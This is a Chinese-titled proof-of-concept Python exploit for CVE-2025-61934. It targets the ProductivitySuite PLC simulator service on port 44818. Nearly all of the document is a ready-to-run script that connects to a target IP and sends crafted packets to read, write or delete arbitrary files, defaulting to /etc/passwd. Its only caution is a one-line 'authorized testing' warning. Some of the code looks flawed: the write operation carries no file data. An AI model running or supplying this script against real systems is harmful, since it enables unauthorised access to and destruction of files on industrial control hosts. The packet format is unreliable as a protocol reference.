CVE-2025-61934: Productivity Suite v4.4.1.19 绑定不受限制IP地址导致任意文件操作漏洞

#!/usr/bin/env python3 """ CVE-2025-61934 PoC - Productivity Suite Unrestricted IP Binding This PoC demonstrates exploitation of the unrestricted IP binding vulnerability in ProductivitySuite v4.4.1.19 ProductivityService PLC simulator. WARNING: Only use for authorized security testing. """ import socket import struct import sys def create_file_operation_request(file_path, operation='read'): """Generate file operation request packet for ProductivityService""" # PLC Simulator protocol header header = b'\x00\x01' # Protocol version header += struct.pack('>I', 0x00000001) # Message type (file operation) header += struct.pack('>I', len(file_path) + 16) # Payload length # Operation type: 0x01=read, 0x02=write, 0x03=delete if operation == 'read': op_code = b'\x00\x00\x00\x01' elif operation == 'write': op_code = b'\x00\x00\x00\x02' elif operation == 'delete': op_code = b'\x00\x00\x00\x03' # File path length and path data path_data = struct.pack('>I', len(file_path)) + file_path.encode('utf-8') return header + op_code + path_data def exploit_cve_2025_61934(target_ip, port=44818, file_path='/etc/passwd', operation='read'): """ Exploit function for CVE-2025-61934 Args: target_ip: Target machine IP address port: ProductivityService port (default: 44818) file_path: File path to read/write/delete operation: 'read', 'write', or 'delete' """ try: print(f"[*] Connecting to {target_ip}:{port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print(f"[*] Sending {operation} request for: {file_path}") request = create_file_operation_request(file_path, operation) sock.send(request) # Receive response response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes)") if operation == 'read' and len(response) > 16: # Parse and display file content data = response[16:] print(f"[+] File content:\n{data.decode('utf-8', errors='ignore')}") else: print(f"[*] Operation completed") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <file_path> [operation]") print(f"Operations: read (default), write, delete") sys.exit(1) target = sys.argv[1] filepath = sys.argv[2] op = sys.argv[3] if len(sys.argv) > 3 else 'read' exploit_cve_2025_61934(target, 44818, filepath, op)